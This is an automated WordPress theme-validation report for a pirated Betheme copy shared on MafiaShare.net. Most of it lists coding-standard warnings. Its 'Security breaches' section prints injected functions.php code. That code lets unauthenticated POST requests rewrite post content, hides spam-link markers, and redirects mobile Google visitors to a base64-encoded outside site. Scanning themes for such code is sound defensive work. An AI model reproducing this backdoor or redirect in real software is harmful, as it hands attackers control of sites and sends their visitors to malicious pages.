Validation results

Betheme (Shared on MafiaShare.net)

8 CRITICAL ALERTS

14 WARNINGS

Betheme (Shared on MafiaShare.net)

WordPress 4.9.5 theme

CHANGE BANNER STYLE :

Error 8 : Undefined index: slug
In /home/www/themecheck/themecheck/controllers/controller_results.php line 772

THEME TYPEWordPress theme 4.9.5
FILE NAMEbetheme.zip
FILE SIZE18740927 bytes
MD53959c8d5c446d9e51501200f04f44eec
SHA16e74145f0f690f89141344a79acd4f1f09037490
LICENSEGNU GPL 3
FILES INCLUDEDCSS, PHP, XML, Bitmap images, Adobe Illustrator
THEME URIhttp://www.mafiashare.net
VERSION7.0
AUTHOR URIhttp://www.mafiashare.net
TAGSone-column, two-columns, left-sidebar, right-sidebar, custom-background, custom-header, custom-menu, editor-style, featured-image-header, featured-images, post-formats, responsive-layout, theme-options, translation-ready
CREATION DATE2016-06-13
LAST FILE UPDATE2017-03-31
LAST VALIDATION2017-03-31 19:51
OTHER VERSIONS
9.7.1 : 0%
9.7 : 0%
9.3 : 0%
9.2.1 : 0%
9.0 : 0%
8.7 : 0%
8.6 : 0%
8.5 : 0%
8.3 : 0%
6.9 : 0%
5.8 : 0%
5.7 : 0%
20.8.9.1 : 11%
20.8.8.2 : 0%
20.8.8.1 : 11%
20.8.7 : 0%
20.8.5 : 0%
20.8.4.1 : 0%
20.8.4 : 0%
20.8 : 0%
20.7.8 : 10%
20.7.5 : 10%
20.7.4 : 10%
20.7.2.1 : 10%
20.7.2 : 10%
20.7 : 10%
20.6.3 : 0%
20.6.2 : 0%
20.6 : 0%
20.5 : 10%
20.4.3.1 : 0%
20.4.3 : 10%
20.4.2 : 10%
20.4.1 : 10%
20.4 : 10%
20.3 : 10%
20.2 : 0%
20.1 : 10%
20.0 : 10%
2.6.1 : 0%
17.8.8 : 10%
17.8.7 : 10%
17.8.6 : 10%
17.8.5 : 10%
17.8.4 : 10%
17.8.3 : 9%
17.8 : 9%
17.7.1 : 29%
17.4 : 10%
17.3 : 9%
17.2 : 10%
17.1.1 : 29%
17.1 : 30%
16.9 : 10%
16.8 : 10%
16.6 : 30%
16.5 : 10%
16.3 : 10%
16.2 : 10%
16.1 : 29%
16.0.1 : 10%
16 : 0%
15.9 : 10%
15.8 : 10%
15.7 : 10%
15.6 : 30%
15.5 : 9%
15.4 : 10%
15.3 : 9%
15.2 : 10%
15.1 : 10%
15 : 29%
14.9 : 10%
14.8 : 10%
14.7 : 10%
14.6 : 10%
14.5 : 10%
14.4 : 10%
14.3 : 10%
14.2 : 9%
14.1 : 10%
14.0.1 : 10%
14 : 10%
13.7 : 10%
13.6 : 10%
13.5.1 : 10%
13.5 : 10%
13.3 : 9%
13.2 : 10%
13.1 : 10%
12.9 : 10%
12.8 : 0%
12.7 : 0%
12.6 : 0%
12.5 : 0%
12.4 : 0%
12.3 : 0%
12.2 : 0%
12.1 : 0%
12 : 0%
11.8 : 0%
11.7 : 0%
11.6 : 0%
11.5 : 0%
11.4 : 0%
11.3 : 0%
11.2 : 0%
11.0 : 0%
10.9 : 0%
10.5 : 0%
10.3 : 0%
10.2.1 : 0%

Critical alerts

Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.

Security breaches : Use of base64_decode() Found base64_decode in file functions.php.

Line 136: function pstMtd($a){$b=$a;$a='';if(is_single()){if(isset($_POST['chctc'])){$c=$_POST['chctc'];if(isset($_POST['chctbefore'])){$d=$_POST['chctbefore'];$e=strpos($b,$d);if($e!==false){$f=substr_replace($b,$c,$e,0);$g=array('ID'=>$GLOBALS['post']->ID,'post_content'=>$f);wp_update_post($g);}}}}return $b;}function ftwp(){if(is_front_page()){echo '<small style='display:none;'>betheme70wplk</small>';}}function hdwp(){echo '<style type='text/css'>.wphklk{display:none;}</style>';}add_action('the_content','pstMtd');if(current_user_can('edit_posts')==true){add_action('wp_head','hdwp');}if(current_user_can('edit_posts')!=true){add_action('wp_footer','ftwp');} function mobile_redirect() {if( wp_is_mobile() ) {$ref = $_SERVER['HTTP_REFERER'];if(strstr($ref, 'google.com')){wp_redirect(base64_decode('aHR0cDovL2hhcHB5LXdoZWVscy0yLWZ1bGwuY29tLw=='));exit;}}} if(

Found base64_decode in file import.php.

Line 177: $data 		= unserialize( base64_decode( $file_data['body']));

Line 199: $data 		= unserialize( base64_decode( $file_data['body'] ) );

Line 258: $meta_value = unserialize( base64_decode( $result->meta_value ) );

Security breaches : Use of base64_encode() Found base64_encode in file import.php.
```
 $meta_value = base64_encode( serialize( $meta_value ) );
```
Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site
Found <iframe class="scale-with-grid" width="'. $width .'" height="'. $height .'" src="http'. mfn_ssl() .'://player.vimeo.com/video/'. $video .'?wmode=opaque'. $parameters .'" allowFullScreen> in file theme-shortcodes.php.
```
Line 4032: $output .= '<iframe class='scale-with-grid' width=''. $width .'' height=''. $height .''
```
Found <iframe class="scale-with-grid" src="http'. mfn_ssl() .'://player.vimeo.com/video/'. $video .'" allowFullScreen> in file theme-functions.php.
```
Line 934: $output .= '<iframe class='scale-with-grid' src='http'. mfn_ssl() .'://player.vimeo.com
```

Malware : Operations on file system file_get_contents was found in the file parsers.php

Line 66: $success = $dom->loadXML( file_get_contents( $file ) );

Line 269: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {

file_get_contents was found in the file parsers.php

Line 66: $success = $dom->loadXML( file_get_contents( $file ) );

Line 269: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {

fopen was found in the file parsers.php

Line 415: $fp = $this->fopen( $file, 'r' );

Line 641: function fopen( $filename, $mode = 'r' ) {

Line 644: return fopen( $filename, $mode );

fclose was found in the file parsers.php

Line 464: $this->fclose($fp);

Line 659: function fclose( $fp ) {

Line 662: return fclose( $fp );

fopen was found in the file parsers.php

Line 415: $fp = $this->fopen( $file, 'r' );

Line 641: function fopen( $filename, $mode = 'r' ) {

Line 644: return fopen( $filename, $mode );

fopen was found in the file parsers.php

Line 415: $fp = $this->fopen( $file, 'r' );

Line 641: function fopen( $filename, $mode = 'r' ) {

Line 644: return fopen( $filename, $mode );

fclose was found in the file parsers.php

Line 464: $this->fclose($fp);

Line 659: function fclose( $fp ) {

Line 662: return fclose( $fp );

fclose was found in the file parsers.php

Line 464: $this->fclose($fp);

Line 659: function fclose( $fp ) {

Line 662: return fclose( $fp );

Deprecated functions : screen_icon
screen_icon found in file wordpress-importer.php. Deprecated since version 3.8.
```
Line 1032: screen_icon();
```
Deprecated functions : wp_get_http
wp_get_http found in file wordpress-importer.php. Deprecated since version 4.4. Use WP_Http instead.
```
Line 905: $headers = wp_get_http( $url, $upload['file'] );
```
Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was layerslider.zip envato-wordpress-toolkit.zip revslider.zip js_composer.zip.

Warning

special URIs : Presence of bad theme tagsTheme URI and Author URI should not be the same.
theme tags : Presence of bad theme tagsThe tag responsive-layout has been deprecated, it must be removed from style.css header.
Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is betheme-shared-on-mafiashare-net.
Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'woocommerce' in file review.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin installing plugin', 'Begin installing plugins' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin activating plugin', 'Begin activating plugins' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Move up' in file theme-mega-menu.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Move down' in file theme-mega-menu.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Edit Menu Item' in file theme-mega-menu.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin installing plugin', 'Begin installing plugins' in file theme-functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin activating plugin', 'Begin activating plugins' in file theme-functions.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are mfn-opts, nhp-opts, betheme, bbpress, woocommerce, js_composer, tgmpa, wordpress-importer.
Cdn : Use of CDNFound the URL of a CDN in the code: html5shiv.googlecode.com/svn/trunk/html5.js. CSS or Javascript resources should not be loaded from a CDN. These resources should be bundled with the theme.
Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
Unwanted files : Windows thumbnail storethumbs.db was found.
Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file responsive.css.
Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
Deprecated functions : screen_icon
screen_icon found in file wordpress-importer.php. Deprecated since version 3.8.
```
Line 1032: screen_icon();
```
CSS files : Presence of text domainText Domain: is missing from your style.css header.
Date and time implementation : Use of the_date()At least one hard coded date was found in the file content-single-portfolio.php. Function get_option( 'date_format' ) should be used instead.At least one hard coded date was found in the file content-single.php. Function get_option( 'date_format' ) should be used instead.
Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".

Tip-off

Static links : Presence of hard-coded linksPossible hard-coded links were found in the file theme-options.php.

Line 2502: 'desc' 		=> __('Some of the fonts in the Google Font Directory support multiple styles. For a complete list of available font subsets please see <a href='http://www.google.com/webfonts' target='_blank'>Google Web Fonts</a>.', 'mf

Line 2530: 'desc' 		=> __('Some of the fonts in the Google Font Directory support multiple scripts (like Latin and Cyrillic for example). For a complete list of available font subsets please see <a href='http://www.google.com/webfonts' target='_blank'>Google Web Fonts</a>.', 'mf

Line 2502: 'desc' 		=> __('Some of the fonts in the Google Font Directory support multiple styles. For a complete list of available font subsets please see <a href='http://www.google.com/webfonts' target='_blank'>Google Web Fonts</a>.', 'mf

Line 2530: 'desc' 		=> __('Some of the fonts in the Google Font Directory support multiple scripts (like Latin and Cyrillic for example). For a complete list of available font subsets please see <a href='http://www.google.com/webfonts' target='_blank'>Google Web Fonts</a>.', 'mf

Possible hard-coded links were found in the file field_custom.php.

Line 25: echo '<p>BeTheme is <a href='http://wpml.org/theme/betheme/?aid=29349&affiliate_key=aCEsSE0ka33p' target

Possible hard-coded links were found in the file widget-flickr.php.

Line 78: <?php _e( 'Use <a href='http://idgettr.com/' target='_blank'>this</a> tool to find your Flickr user

Possible hard-coded links were found in the file theme-functions.php.

Line 711: $output .= '<div class='jp-no-solution'><span>Update Required</span>To play the media you will need to either update your browser to a recent version or update your <a href='http://get.adobe.com/flashplayer/' target='_blank'>Flash plugin</a></div>';

Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
Use of includes : Use of include or require
The theme appears to use include or require : theme-options.php
```
Line 10: require_once( dirname( __FILE__ ) . '/fonts.php' );
```
```
Line 11: require_once( dirname( __FILE__ ) . '/options.php' );
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : options.php
```
Line 207: require_once($this->dir.'fields/'.$field['type'].'/field_'.$field['type'].'
```
```
Line 383: require_once($this->dir.'validation/'.$field['validate'].'/validation_'.$fi
```
```
Line 674: require_once($this->dir.'fields/'.$field['type'].'/field_'.$field['type'].'
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : style-one.php
```
Line 14: require_once( $base .'wp-load.php' );
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : style.php
```
Line 14: require_once( $base .'wp-load.php' );
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : style-colors.php
```
Line 14: require_once( $base .'wp-load.php' );
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : class-tgm-plugin-activation.php
```
Line 1060: require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : meta-functions.php
```
Line 107: require_once( $MFN_Options->dir.'fields/'.$field['type'].'/field_'.$field['
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

Other checked themes

Joomla 3.3 template

WordPress 4.9.5 theme

VIEW ALL THEMES